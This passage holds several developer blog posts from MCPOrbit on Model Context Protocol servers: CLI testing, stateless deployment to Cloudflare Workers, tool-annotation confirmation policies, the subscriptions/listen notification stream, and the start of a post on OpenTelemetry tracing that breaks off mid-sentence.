\ --method tools/call --tool-name get_forecast --tool-arg city=London { "content": [ { "type": "text", "text": "london: 14C, rain" } ] } ``` When a tool returns `isError: true`, the CLI prints the error content and exits non-zero: ```bash $ npx @modelcontextprotocol/inspector@2.0.0 --cli node server.js \ --method tools/call --tool-name get_forecast --tool-arg city=atlantis { "content": [ { "type": "text", "text": "No forecast for \"atlantis\"." } ], "isError": true } {"error":{"code":"tool_is_error","message":"Tool 'get_forecast' returned isError:true."}} $ echo $? 1 ``` That non-zero exit is what makes the Inspector useful in CI. Put the command in a job step and a broken tool fails the pipeline, the same as a failed unit test. ## A short testing checklist - Discovery: `tools/list` returns every tool with the names and schemas you expect. - Happy path: each tool returns the right content for valid input. - Handled errors: known failure cases return `isError: true` with a clear message, not a crash. - Schema validation: bad arguments are rejected before your handler runs. - Resources and prompts: if your server exposes them, list and read each one the same way. > **Next step** > > Once your server passes its tests, connect it to a real client. [Add it in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call each tool by hand - its log shows the arguments you sent, the full JSON that came back, and how long the call took. --- ## Frequently asked questions ### How do I test an MCP server without a browser? Connect a `Client` from the MCP SDK to your server over `InMemoryTransport.createLinkedPair()`, then call `listTools()` and `callTool()`. It runs in a plain Node test file with no browser and no network. ### Do I need a special test framework for MCP? No. Node 18 and later ship a built-in test runner. Run `node --test` and it executes every `*.test.js` file. The MCP SDK client is the only extra import, and a build-it server already depends on it. ### What is the MCP Inspector CLI for? It calls your server from the command line: `--method tools/list` lists tools and `--method tools/call` runs one. It is meant for quick manual checks and CI smoke tests, not for writing assertions. ### How do I test that a tool rejects bad input? Call the tool with invalid arguments. The SDK validates them against your zod input schema and returns a result with `isError: true` and an `Input validation error` message, so you assert on that result. ### Can the MCP Inspector fail a CI build? Yes. When a tool returns `isError: true`, the Inspector CLI exits with a non-zero code. Run it as a CI step and a broken tool fails the job. ### Should I test over stdio or in memory? Use in-memory transport for unit and integration tests: it is faster and has no process startup or flaky timing. Use a real transport, through the Inspector CLI or a stdio client, for end-to-end smoke tests that also exercise your entry point. --- # How to Deploy a Stateless MCP Server to Cloudflare Workers URL: https://mcporbit.com/blog/deploy-stateless-mcp-server-cloudflare-workers Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-05 Updated: 2026-09-03 Category: Build-it Tags: MCP, Cloudflare Workers, Stateless, Edge, TypeScript SDK, Engineering Since the July 28, 2026 MCP spec dropped session IDs, a full MCP server fits in a single Cloudflare Workers fetch handler. Here is the handler, the wrangler.toml, and a verified deploy. A stateless MCP server deploys to Cloudflare Workers as a single fetch handler over Streamable HTTP: build the MCP server, bind it in wrangler.toml, and run wrangler deploy. Since the July 28, 2026 MCP spec removed Mcp-Session-Id, every request is self-contained, with no sticky sessions and no shared worker state, which is exactly the execution model Cloudflare Workers were built for. ## Why the July 2026 spec unlocked edge deployment Before the July 28, 2026 MCP spec revision, the protocol relied on Mcp-Session-Id headers to tie requests to a running server instance. On serverless platforms where any instance can answer any request, that made session correlation painful: a request landing on a cold instance had no session to resume. Operators worked around it with sticky sessions or Redis-backed session stores, both expensive and stateful. The July revision removed sessions from the core protocol. Tool calls, resource reads, and prompt requests are now fully self-contained. An MCP server on Cloudflare Workers can receive a request, spin up, handle it, and terminate, with nothing to maintain between requests. > **Stateless, not data-less** > > A stateless protocol does not mean no data. Your tools can still read from KV, Durable Objects, D1, or any external database. The protocol carries no session context; your data layer still can. ## The Worker: an MCP server as a fetch handler The MCP TypeScript SDK ships a WebStandardStreamableHTTPServerTransport that accepts a standard Request and returns a standard Response, which is exactly the signature of a Cloudflare Workers fetch handler. Create a new McpServer per request, register your tools, connect the transport, and return the response. (The plain StreamableHTTPServerTransport is the Node.js HTTP variant and pulls in Node-only server glue; on Workers, Deno, and Bun you want the web-standard transport shown here.) ```bash npm create cloudflare@latest my-mcp-worker -- --type worker cd my-mcp-worker npm install @modelcontextprotocol/sdk@1.30.0 zod@4.4.3 ``` ```typescript // src/index.ts import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js"; import { z } from "zod"; interface Env { // Add KV, D1, or other bindings here } export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise { if (request.method !== "POST") { return new Response("Method not allowed", { status: 405 }); } const server = new McpServer({ name: "my-worker-mcp", version: "1.0.0", }); server.tool( "echo", "Echoes the input back", { message: z.string().describe("Text to echo") }, async ({ message }) => ({ content: [{ type: "text", text: message }], }) ); const transport = new WebStandardStreamableHTTPServerTransport({ sessionIdGenerator: undefined, }); await server.connect(transport); return transport.handleRequest(request); }, }; ``` Two things to note. A new McpServer instance is created per request, so there is no shared in-memory state across requests. Setting sessionIdGenerator to undefined tells the transport to run in stateless mode, so no Mcp-Session-Id header is issued or expected. > **SDK version vs spec version** > > This tutorial pins @modelcontextprotocol/sdk@1.30.0, whose latest wire protocol is 2025-11-25. Stateless Streamable HTTP (sessionIdGenerator: undefined) already ships in that release, which is what makes the single-handler Worker work today. The July 28, 2026 session-removal is reflected by that stateless mode, but the SDK does not yet advertise a 2026-07-28 protocol string: send protocolVersion 2026-07-28 on initialize and the server negotiates its response down to 2025-11-25. That is expected until the SDK ships the dated revision; the deploy pattern below is unaffected. ## Where state lives when the protocol is stateless A stateless protocol means no session context between requests. It does not mean your tools cannot reach data. Cloudflare Workers give you several persistence options: - KV: read-heavy, eventually-consistent key-value store. Good for config, lookup tables, and cached results. Bind as MY_KV: KVNamespace in wrangler.toml. - D1: SQLite at the edge, for structured, queryable data that needs SQL. Bind as DB: D1Database. - Durable Objects: single-instance and strongly consistent. Use when multiple clients coordinate against the same logical entity. The MCP protocol is stateless; the Durable Object is not. - External database over fetch: call Postgres, Supabase, PlanetScale, or any HTTP-accessible database directly from the tool handler. Standard fetch is available in Workers. ## wrangler.toml and local dev ```toml # wrangler.toml name = "my-mcp-worker" main = "src/index.ts" compatibility_date = "2026-07-01" # Example KV binding (remove if unused) # [[kv_namespaces]] # binding = "MY_KV" # id = "your-kv-namespace-id" ``` ```bash # Local dev, Worker serves on http://localhost:8787 wrangler dev # Test with a raw MCP initialize call. Streamable HTTP requires the client to # accept BOTH application/json and text/event-stream, or the server returns 406. curl -X POST http://localhost:8787 \\ -H "Content-Type: application/json" \\ -H "Accept: application/json, text/event-stream" \\ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2026-07-28","capabilities":{},"clientInfo":{"name":"test","version":"0.1.0"}}}' ``` ## Deploy and verify ```bash wrangler deploy # Deployed to: https://my-mcp-worker.your-subdomain.workers.dev # Verify the live Worker handles initialize (note the Accept header) curl -X POST https://my-mcp-worker.your-subdomain.workers.dev \\ -H "Content-Type: application/json" \\ -H "Accept: application/json, text/event-stream" \\ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2026-07-28","capabilities":{},"clientInfo":{"name":"test","version":"0.1.0"}}}' ``` A successful initialize response confirms the Worker is accepting MCP requests. The response comes back as a text/event-stream body carrying the JSON-RPC result, which is why the client must accept text/event-stream. The endpoint is public by default, so add auth before you expose real tooling. ## Auth on the edge The cleanest pattern for Workers is a Bearer token check at the top of the fetch handler, before the MCP server is created. Store the secret in Cloudflare's secret store, not in wrangler.toml or source. ```typescript // Add at the top of the fetch handler, before server construction const authHeader = request.headers.get("Authorization"); if (!authHeader || authHeader !== `Bearer ${env.AUTH_TOKEN}`) { return new Response("Unauthorized", { status: 401 }); } ``` ```bash # Store the secret, never commit it to source wrangler secret put AUTH_TOKEN ``` > **Keep secrets out of source** > > Do not hardcode tokens in wrangler.toml or source files. Wrangler secrets are encrypted at rest and exposed as env bindings at runtime, but they never appear in your deployed bundle. --- ## FAQ ### Can I use stdio transport on Cloudflare Workers? No. Cloudflare Workers do not have a stdin or stdout pipe. Use WebStandardStreamableHTTPServerTransport, which maps directly to the Workers fetch handler signature. ### Does a Worker cold start affect MCP clients? Workers cold starts are typically under 5ms because of the V8 isolate model, not a container. For most MCP tool calls this is imperceptible. If sub-millisecond cold starts matter, keep the Worker warm with Cron Triggers. ### Where does session state go if the protocol is stateless? The MCP protocol carries no session context. For tool results that must persist across a multi-step workflow, store them in KV or D1 keyed by a token you pass through the tool input and output. ### How do I expose many tools without a monolithic file? Register all tools on the single McpServer instance inside the fetch handler. Split tool definitions into separate modules and import them. For very large tool sets, consider a Workers for Platforms dispatch namespace. ### Does this pattern work on Vercel Edge or Deno Deploy? Yes. WebStandardStreamableHTTPServerTransport works anywhere that accepts a Request and returns a Response, including Vercel Edge Functions, Deno Deploy, and Bun.serve. The wrangler.toml is Workers-specific; the MCP code is portable. ### What MCP spec version does this target? The July 28, 2026 revision that removed Mcp-Session-Id from the core protocol. The pinned SDK (1.30.0) advertises protocol 2025-11-25, which already implements the stateless Streamable HTTP mode this deploy relies on; it will negotiate initialize to 2025-11-25 until the SDK ships the dated 2026-07-28 string. --- # How to mark MCP tools read-only or destructive URL: https://mcporbit.com/blog/mcp-tool-annotations-read-only-destructive Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-04 Updated: 2026-09-04 Category: Build-it Tags: MCP, Tool Annotations, Agent Safety, TypeScript SDK, Engineering MCP tool annotations (readOnlyHint, destructiveHint, and two more) tell a client which tools are safe to auto-run. Build-it, tested on Node 25 with the SDK. To tell a Model Context Protocol (MCP) client which of your tools are safe to run on their own, add annotations to each tool: `readOnlyHint`, `destructiveHint`, `idempotentHint`, and `openWorldHint`. The client reads those hints from the tool list and decides when to run a tool silently and when to stop and ask the user first. This matters because an agent calling your tools makes a choice on every call: run it, or check with a human. With no signal, a careful host asks about everything, which is tedious, or asks about nothing, which is dangerous. Annotations give the host that signal up front, in the tool descriptor, before any call runs. **What you will build** - A four-hint vocabulary for tool behavior: read-only, destructive, idempotent, open-world. - An MCP server that annotates four tools with the official SDK. - A client policy that turns those hints into auto-run, notify, or confirm. - The default each hint takes when you omit it, and why the safe default is the cautious one. - Runnable code, tested end to end on Node v25.8.1 with @modelcontextprotocol/sdk 1.30.0. ## What are MCP tool annotations? Tool annotations are optional metadata on a tool descriptor that describe how the tool behaves before anyone calls it. They shipped in the 2025-03-26 MCP spec revision and are stable in the current spec. There are five fields: a `title` for display, plus four behavior hints. - `readOnlyHint`: the tool does not modify anything. - `destructiveHint`: the tool may make changes that are hard or impossible to undo. Only meaningful when `readOnlyHint` is false. - `idempotentHint`: calling it again with the same arguments adds no further effect. - `openWorldHint`: the tool may reach an external system such as the web, email, or another API, not just a closed local dataset. > **Hints, not guarantees** > > A client must not trust annotations for security. A buggy or hostile server can label a delete tool read-only. The official MCP guidance calls annotations a risk vocabulary, not enforcement. Use them to improve the user experience, and enforce real permissions where you control execution. ## Why the defaults matter more than the fields Here is the part that trips people up. Every hint is optional, and each has a default. When you leave a hint out, the client fills in that default. The defaults are deliberately cautious: `readOnlyHint` is false, `destructiveHint` is true, `idempotentHint` is false, and `openWorldHint` is true. So a tool with no annotations at all reads as: it writes, its writes are destructive, repeats add effects, and it reaches outside. That is the safest assumption, and it is why an unannotated tool gets a confirmation prompt. Two things follow. First, annotating a safe tool is what earns it auto-run. Second, the `destructiveHint` default of true only bites when `readOnlyHint` is false, so a read-only tool is never treated as destructive. Turn that into a small policy. `resolveAnnotations` fills the spec defaults, and `decide` maps the result to one of three actions. ```javascript // policy.mjs: turn tool annotations into a confirmation decision. // Annotations are optional hints. When one is missing, the spec defines a // default, and the safe reading is the cautious one. Fill defaults first. export function resolveAnnotations(tool) { const a = tool.annotations ?? {}; return { readOnlyHint: a.readOnlyHint ?? false, // assume it can write destructiveHint: a.destructiveHint ?? true, // assume writes can destroy idempotentHint: a.idempotentHint ?? false, // assume repeats add effects openWorldHint: a.openWorldHint ?? true, // assume it reaches outside }; } // Return "auto", "notify", or "confirm" for a tool. export function decide(tool) { const { readOnlyHint, destructiveHint, openWorldHint } = resolveAnnotations(tool); // Read-only and closed-world: nothing to undo, no outside reach. Auto-run. if (readOnlyHint && !openWorldHint) return "auto"; // destructiveHint only means anything when the tool is not read-only. if (!readOnlyHint && destructiveHint) return "confirm"; // Writes, but reversible: run it, tell the user what happened. return "notify"; } ``` ## Annotate the tools on the server Build a small notes server with four tools that span the space: a read-only search, a reversible upsert, a destructive delete, and an email send that reaches outside. Each tool passes an `annotations` object to `registerTool`. ```javascript // server.mjs: an MCP server whose tools declare behavior with annotations. import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { z } from "zod"; export function buildServer() { const server = new McpServer({ name: "notes-server", version: "1.0.0" }); // Read-only, closed-world: safe to call without asking the user. server.registerTool( "search_notes", { title: "Search notes", description: "Full-text search over the local notes index.", inputSchema: { query: z.string() }, annotations: { title: "Search notes", readOnlyHint: true, openWorldHint: false, }, }, async ({ query }) => ({ content: [{ type: "text", text: `3 notes match "${query}"` }], }) ); // Writes, but not destructive, and safe to repeat: create-or-replace by id. server.registerTool( "upsert_note", { title: "Save note", description: "Create or overwrite a note by id.", inputSchema: { id: z.string(), body: z.string() }, annotations: { title: "Save note", readOnlyHint: false, destructiveHint: false, idempotentHint: true, openWorldHint: false, }, }, async ({ id }) => ({ content: [{ type: "text", text: `Saved note ${id}` }], }) ); // Irreversible local change: destructive, so a client should confirm first. server.registerTool( "delete_note", { title: "Delete note", description: "Permanently delete a note by id.", inputSchema: { id: z.string() }, annotations: { title: "Delete note", readOnlyHint: false, destructiveHint: true, idempotentHint: true, openWorldHint: false, }, }, async ({ id }) => ({ content: [{ type: "text", text: `Deleted note ${id}` }], }) ); // Reaches an external system: not read-only, and open-world. server.registerTool( "send_email", { title: "Send email", description: "Send an email to an external address.", inputSchema: { to: z.string(), subject: z.string() }, annotations: { title: "Send email", readOnlyHint: false, destructiveHint: true, idempotentHint: false, openWorldHint: true, }, }, async ({ to }) => ({ content: [{ type: "text", text: `Email sent to ${to}` }], }) ); return server; } ``` Read the four annotation blocks top to bottom. `search_notes` is read-only and closed-world. `upsert_note` writes but is not destructive and is idempotent, since saving the same note twice lands you in the same place. `delete_note` is destructive. `send_email` is destructive and open-world, because it acts on something you cannot recall. ## Read the annotations on the client and decide The client lists the tools once, reads each tool's annotations, and applies the policy. We connect client and server in-process with the SDK's in-memory transport, so the whole demo is one command with no network. ```javascript // run.mjs: connect a client to the server in-process, read every tool's // annotations, and apply the confirmation policy. One command, no network. import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; import { buildServer } from "./server.mjs"; import { decide, resolveAnnotations } from "./policy.mjs"; const [clientTransport, serverTransport] = InMemoryTransport.createLinkedPair(); const server = buildServer(); await server.connect(serverTransport); const client = new Client({ name: "notes-host", version: "1.0.0" }); await client.connect(clientTransport); const { tools } = await client.listTools(); console.log("tool read destr idem open -> action"); console.log("-------------- ----- ------ ----- ----- ---------"); for (const tool of tools) { const a = resolveAnnotations(tool); const action = decide(tool); const flag = (b) => (b ? "yes" : "no "); console.log( tool.name.padEnd(14), flag(a.readOnlyHint).padEnd(5), flag(a.destructiveHint).padEnd(6), flag(a.idempotentHint).padEnd(5), flag(a.openWorldHint).padEnd(5), "->", action ); } // Prove the policy gates a real call. A destructive tool needs a yes first. async function callWithPolicy(name, args, userSaysYes) { const tool = tools.find((t) => t.name === name); const action = decide(tool); if (action === "confirm" && !userSaysYes) { return `BLOCKED: ${name} needs confirmation`; } const res = await client.callTool({ name, arguments: args }); return `${action.toUpperCase()}: ${res.content[0].text}`; } console.log(""); console.log(await callWithPolicy("search_notes", { query: "mcp" }, false)); console.log(await callWithPolicy("delete_note", { id: "42" }, false)); console.log(await callWithPolicy("delete_note", { id: "42" }, true)); await client.close(); await server.close(); ``` ## Run it and watch the policy gate a real call Save the three files, install the two pinned dependencies, and run. Tested end to end on Node v25.8.1. ```bash npm init -y npm i @modelcontextprotocol/sdk@1.30.0 zod@3.25.76 node run.mjs ``` ```text tool read destr idem open -> action -------------- ----- ------ ----- ----- --------- search_notes yes yes no no -> auto upsert_note no no yes no -> notify delete_note no yes yes no -> confirm send_email no yes no yes -> confirm AUTO: 3 notes match "mcp" BLOCKED: delete_note needs confirmation CONFIRM: Deleted note 42 ``` Read the table. `search_notes` auto-runs. `delete_note` and `send_email` require confirmation, so the client blocks the first delete and only runs it after the user says yes. `upsert_note` runs with a notice. Notice that `search_notes` shows `destr yes`, its default value, but the policy ignores that because the tool is read-only, which is exactly the rule from earlier. ## Frequently asked questions ## Frequently asked questions ### What are MCP tool annotations? They are optional metadata on an MCP tool that describe its behavior before it runs: `readOnlyHint`, `destructiveHint`, `idempotentHint`, and `openWorldHint`, plus a display `title`. A client reads them from the tool list to decide whether to auto-run a tool or ask the user first. ### What is the difference between readOnlyHint and destructiveHint? `readOnlyHint` says the tool changes nothing. `destructiveHint` says the tool may make changes that are hard to undo, and it only applies when `readOnlyHint` is false. A read-only tool is never treated as destructive. ### What happens if I do not set any tool annotations? The client fills cautious defaults: `readOnlyHint` false, `destructiveHint` true, `idempotentHint` false, and `openWorldHint` true. An unannotated tool is treated as a destructive, open-world write, so it usually triggers a confirmation prompt. ### Can an MCP client trust annotations for security? No. Annotations are hints, not guarantees. A buggy or hostile server can mislabel a tool. Use annotations to shape the user experience, and enforce real permissions where you control execution. ### Which MCP spec version added tool annotations? The 2025-03-26 spec revision added them, and they are stable in the current spec. They are supported by `@modelcontextprotocol/sdk` 1.30.0, so you can set them today with `registerTool`. [Add a server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and read each tool's full description and input schema by hand, so you can see what a tool says about itself before you let an agent call it. [Download MCPOrbit for macOS](/api/download) --- # How to get MCP change notifications with subscriptions/listen URL: https://mcporbit.com/blog/mcp-change-notifications-subscriptions-listen Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-03 Updated: 2026-09-04 Category: Tutorial Tags: MCP, Notifications, Streaming, Node.js, 2026-07-28 Spec The 2026-07-28 MCP spec folds every change notification into one subscriptions/listen stream. Here is how it works, with runnable Node code you can test. The 2026-07-28 Model Context Protocol (MCP) spec replaced the old HTTP GET stream, plus the `resources/subscribe` and `resources/unsubscribe` methods, with a single endpoint: `subscriptions/listen`. A client opens one long-lived stream, opts in to the notification types it wants, and the server pushes only those. Every notification is tagged with a subscription id. ## What replaced resources/subscribe in MCP? Before this spec, a client learned about server-side changes in two separate ways. It held open an HTTP GET stream to receive server-to-server messages like `notifications/tools/list_changed`. Separately, it called `resources/subscribe` for each resource URI it wanted to watch, and `resources/unsubscribe` to stop. That is two mechanisms, two code paths, and a GET stream that many gateways and load balancers handle badly. The 2026-07-28 spec (SEP-2575) collapses both into one POST stream called `subscriptions/listen`. The client opts in to specific types: `toolsListChanged`, `promptsListChanged`, `resourcesListChanged`, and `resourceSubscriptions`. The server acknowledges the stream and tags every notification it sends with `io.modelcontextprotocol/subscriptionId`. Per-resource watching, the old job of `resources/subscribe`, is now the `resourceSubscriptions` opt-in on this same stream. **The short version** - Change notifications now flow on one long-lived POST stream: `subscriptions/listen` (SEP-2575). - Clients opt in per type: `toolsListChanged`, `promptsListChanged`, `resourcesListChanged`, `resourceSubscriptions`. - The server acknowledges the stream and tags every notification with `io.modelcontextprotocol/subscriptionId`. - `resources/subscribe` and `resources/unsubscribe` are gone. Per-resource watching is the `resourceSubscriptions` opt-in. - Request-scoped messages like `notifications/progress` and `notifications/message` still ride the response stream of their own request, not this one. > **Spec vs SDK** > > The current stable `@modelcontextprotocol/sdk` (1.30.0) predates the 2026-07-28 spec, so it does not implement `subscriptions/listen` yet. The wire behavior is fixed by SEP-2575, so you can wire it at the HTTP layer today. Every code block below is plain Node with no SDK dependency, tested end to end on Node v25.8.1. ## How the subscriptions/listen stream works The flow has three steps. The client POSTs to the server with the `Mcp-Method: subscriptions/listen` header and a body that lists the types it wants. The server holds the response open, writes an acknowledgement that carries a fresh subscription id, and keeps the connection alive. From then on, whenever something changes, the server writes one notification per opted-in type down that same stream. Here is the opt-in request. The four type identifiers are fixed by the spec. The surrounding JSON-RPC envelope in these examples is a minimal, faithful implementation of the one long-lived POST stream the spec describes. ```http POST / HTTP/1.1 Mcp-Method: subscriptions/listen Content-Type: application/json { "jsonrpc": "2.0", "id": 1, "method": "subscriptions/listen", "params": { "subscribe": ["toolsListChanged", "resourceSubscriptions"] } } ``` The server replies on the open stream. The first frame is the acknowledgement with the subscription id you will see on every later notification. ```json data: {"jsonrpc":"2.0","id":1,"result":{"resultType":"complete", "_meta":{"io.modelcontextprotocol/subscriptionId":"8840b4f1-f71d-46ef-bce4-4b83e026cb41"}}} ``` When a tool is added or removed, the server pushes a `tools/list_changed` notification, tagged with the same subscription id, but only to clients that opted in to `toolsListChanged`. ```json data: {"jsonrpc":"2.0","method":"notifications/tools/list_changed", "params":{"_meta":{"io.modelcontextprotocol/subscriptionId":"8840b4f1-f71d-46ef-bce4-4b83e026cb41"}}} ``` ## Build the server This is a minimal MCP server in plain Node. It keeps a map of live listener streams, each with the set of types that listener opted in to. A `fanout` helper walks the map and writes a notification only to listeners that asked for that type. The cleanup runs on the response `close` event, not the request `close` event, because a fully received POST body fires the request close right away and would drop your listener. ```javascript import { createServer as createHttpServer } from "node:http"; import { randomUUID } from "node:crypto"; // A minimal MCP server that speaks the 2026-07-28 change-notification model. // Clients open ONE long-lived `subscriptions/listen` stream and opt in to the // notification types they want. The server tags every pushed notification with // `io.modelcontextprotocol/subscriptionId`. This one stream replaces the old // HTTP GET stream plus the `resources/subscribe` / `resources/unsubscribe` // methods (SEP-2575). // The four opt-in identifiers are fixed by the spec. const OPT_IN_TYPES = new Set([ "toolsListChanged", "promptsListChanged", "resourcesListChanged", "resourceSubscriptions", ]); // Each list-changed opt-in unlocks one JSON-RPC notification method. const NOTIFY_METHOD = { toolsListChanged: "notifications/tools/list_changed", promptsListChanged: "notifications/prompts/list_changed", resourcesListChanged: "notifications/resources/list_changed", }; export function createMcpServer() { // Live listener streams, keyed by their subscription id. const listeners = new Map(); // Demo state: the tool registry a client caches via tools/list. const tools = [{ name: "get_weather" }]; function fanout(optInType) { const method = NOTIFY_METHOD[optInType]; for (const sub of listeners.values()) { if (!sub.types.has(optInType)) continue; // per-type opt-in: skip everyone else const note = { jsonrpc: "2.0", method, params: { _meta: { "io.modelcontextprotocol/subscriptionId": sub.id }, }, }; sub.res.write(`data: ${JSON.stringify(note)}\n\n`); } } const server = createHttpServer((req, res) => { const mcpMethod = req.headers["mcp-method"]; let body = ""; req.on("data", (chunk) => (body += chunk)); req.on("end", () => { const msg = body ? JSON.parse(body) : {}; if (mcpMethod === "subscriptions/listen") { const requested = Array.isArray(msg.params?.subscribe) ? msg.params.subscribe.filter((t) => OPT_IN_TYPES.has(t)) : []; const id = randomUUID(); res.writeHead(200, { "content-type": "text/event-stream", "cache-control": "no-store", connection: "keep-alive", }); // Acknowledge the stream and hand back the subscription id. res.write( `data: ${JSON.stringify({ jsonrpc: "2.0", id: msg.id ?? null, result: { resultType: "complete", _meta: { "io.modelcontextprotocol/subscriptionId": id }, }, })}\n\n`, ); listeners.set(id, { id, types: new Set(requested), res }); // Drop the listener when the client disconnects (the response closes). res.on("close", () => listeners.delete(id)); return; } if (mcpMethod === "tools/list") { res.writeHead(200, { "content-type": "application/json" }); res.end( JSON.stringify({ jsonrpc: "2.0", id: msg.id ?? null, result: { resultType: "complete", tools, ttlMs: 60000, cacheScope: "public" }, }), ); return; } // Demo-only trigger (not a spec method): add a tool, then push // tools/list_changed to opted-in listeners so their cache goes stale. if (mcpMethod === "tools/add") { tools.push({ name: msg.params?.name ?? "new_tool" }); fanout("toolsListChanged"); res.writeHead(200, { "content-type": "application/json" }); res.end( JSON.stringify({ jsonrpc: "2.0", id: msg.id ?? null, result: { resultType: "complete", ok: true } }), ); return; } res.writeHead(400, { "content-type": "application/json" }); res.end( JSON.stringify({ jsonrpc: "2.0", id: msg.id ?? null, error: { code: -32601, message: "Method not found" } }), ); }); }); return { server }; } ``` > **One gotcha worth the callout** > > Tie listener cleanup to `res.on("close")`, not `req.on("close")`. The request stream closes as soon as the POST body is fully read, so cleaning up on `req` close deletes your listener before the first notification ever fires. This one line is the difference between a working stream and a silent one. ## Build the client The client opens the stream with `fetch`, passes the types it wants, and turns the server's `data:` frames back into JSON messages. One async generator yields the acknowledgement first, then every notification as it arrives. ```javascript // Open the single `subscriptions/listen` stream and opt in to the notification // types you care about. Everything the server pushes arrives on this one stream. export async function listen(baseUrl, subscribe, { signal } = {}) { const res = await fetch(baseUrl, { method: "POST", signal, headers: { "mcp-method": "subscriptions/listen", "content-type": "application/json" }, body: JSON.stringify({ jsonrpc: "2.0", id: 1, method: "subscriptions/listen", params: { subscribe } }), }); return parseEvents(res.body); } // Parse the server's `data: {json}\n\n` frames into JSON messages. async function* parseEvents(stream) { const decoder = new TextDecoder(); let buffer = ""; for await (const chunk of stream) { buffer += decoder.decode(chunk, { stream: true }); let sep; while ((sep = buffer.indexOf("\n\n")) !== -1) { const frame = buffer.slice(0, sep); buffer = buffer.slice(sep + 2); const line = frame.split("\n").find((l) => l.startsWith("data: ")); if (line) yield JSON.parse(line.slice(6)); } } } ``` ## Prove it works These tests use the Node built-in test runner. They check three things: the stream is acknowledged with a subscription id and then delivers the notification, a client is never sent a type it did not opt into, and the one stream keeps delivering across repeated changes. ```javascript import { test } from "node:test"; import assert from "node:assert/strict"; import { createMcpServer } from "./server.mjs"; import { listen } from "./client.mjs"; function start(t) { const { server } = createMcpServer(); const ac = new AbortController(); t.after(() => { ac.abort(); server.closeAllConnections(); server.close(); }); return new Promise((resolve) => { server.listen(0, "127.0.0.1", () => { const { port } = server.address(); resolve({ url: `http://127.0.0.1:${port}/`, signal: ac.signal }); }); }); } function addTool(url, name) { return fetch(url, { method: "POST", headers: { "mcp-method": "tools/add", "content-type": "application/json" }, body: JSON.stringify({ jsonrpc: "2.0", id: 99, method: "tools/add", params: { name } }), }); } test("opt-in stream is acknowledged with a subscription id, then delivers the notification", async (t) => { const { url, signal } = await start(t); const events = (await listen(url, ["toolsListChanged"], { signal }))[Symbol.asyncIterator](); const ack = (await events.next()).value; assert.equal(ack.result.resultType, "complete"); const subId = ack.result._meta["io.modelcontextprotocol/subscriptionId"]; assert.ok(subId, "ack carries a subscription id"); await addTool(url, "get_forecast"); const note = (await events.next()).value; assert.equal(note.method, "notifications/tools/list_changed"); assert.equal(note.params._meta["io.modelcontextprotocol/subscriptionId"], subId); }); test("a client is never sent a type it did not opt into", async (t) => { const { url, signal } = await start(t); const events = (await listen(url, ["resourcesListChanged"], { signal }))[Symbol.asyncIterator](); await events.next(); // ack await addTool(url, "get_forecast"); const race = await Promise.race([ events.next().then((r) => r.value?.method), new Promise((r) => setTimeout(() => r("nothing"), 300)), ]); assert.equal(race, "nothing", "resources subscriber gets no tools notification"); }); test("the one stream keeps delivering across repeated changes", async (t) => { const { url, signal } = await start(t); const events = (await listen(url, ["toolsListChanged"], { signal }))[Symbol.asyncIterator](); await events.next(); // ack await addTool(url, "a"); await addTool(url, "b"); const first = (await events.next()).value; const second = (await events.next()).value; assert.equal(first.method, "notifications/tools/list_changed"); assert.equal(second.method, "notifications/tools/list_changed"); }); ``` Run it with `node --test`. All three pass on Node v25.8.1. ```text $ node --test ✔ opt-in stream is acknowledged with a subscription id, then delivers the notification ✔ a client is never sent a type it did not opt into ✔ the one stream keeps delivering across repeated changes ℹ tests 3 ℹ pass 3 ℹ fail 0 ``` ## How this pairs with cacheable list results The same spec added `ttlMs` and `cacheScope` on list results (SEP-2549), so a client can cache `tools/list` and stop polling. The two features work together. The cache gives you a freshness window, and `subscriptions/listen` tells you the moment that window is wrong. A client caches `tools/list` for its `ttlMs`, then drops the cache early the instant a `tools/list_changed` notification lands on the stream. You poll less and still never serve a stale tool list. ## Frequently asked questions ## Frequently asked questions ### What replaced resources/subscribe and resources/unsubscribe in MCP? The 2026-07-28 spec removed both. Per-resource watching is now the `resourceSubscriptions` opt-in on the single `subscriptions/listen` stream, alongside `toolsListChanged`, `promptsListChanged`, and `resourcesListChanged`. ### How does a client subscribe to only some MCP notifications? It opens the `subscriptions/listen` stream and lists the types it wants. The server sends only those types to that client, and tags each notification with `io.modelcontextprotocol/subscriptionId` so the client can correlate it. ### Does the MCP SDK support subscriptions/listen yet? The current stable `@modelcontextprotocol/sdk` (1.30.0) predates the 2026-07-28 spec and does not implement it. The wire behavior is fixed by SEP-2575, so you can implement it at the HTTP layer today, which is what the code in this post does. ### Do progress and log messages come through subscriptions/listen? No. Request-scoped notifications like `notifications/progress` and `notifications/message` still travel on the response stream of the request they belong to. The `subscriptions/listen` stream carries only the opted-in change notifications. ### Why did MCP move change notifications off the HTTP GET endpoint? The old GET stream was a separate channel that many gateways, proxies, and load balancers handled poorly. A single opt-in POST stream is easier to route, and folding `resources/subscribe` into it removes a second mechanism clients had to manage. MCPOrbit connects to an MCP server and lists the tools it exposes. When the server changes its tool list, that is exactly the `tools/list_changed` signal this post wires up. Browse [the server registry](/registry). [Download MCPOrbit for macOS](/api/download) --- # How to trace MCP requests with OpenTelemetry URL: https://mcporbit.com/blog/trace-mcp-requests-opentelemetry Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-03 Updated: 2026-09-04 Category: Build-it Tags: MCP, OpenTelemetry, Observability, Tracing, 2026-07-28 Spec, Build-it, Node.js The 2026-07-28 MCP spec carries W3C trace context in _meta, so MCP calls join one distributed trace instead of two orphans. Build-it, tested on Node 25. To trace Model Context Protocol (MCP) requests end to end, put W3C trace context in the `_meta` field of every MCP message. The 2026-07-28 spec (SEP-414) standardizes three `_meta` keys, `traceparent`, `tracestate`, and `baggage`, using the exact wire format your HTTP stack already speaks. The client injects its active span into `_meta`, the server reads it 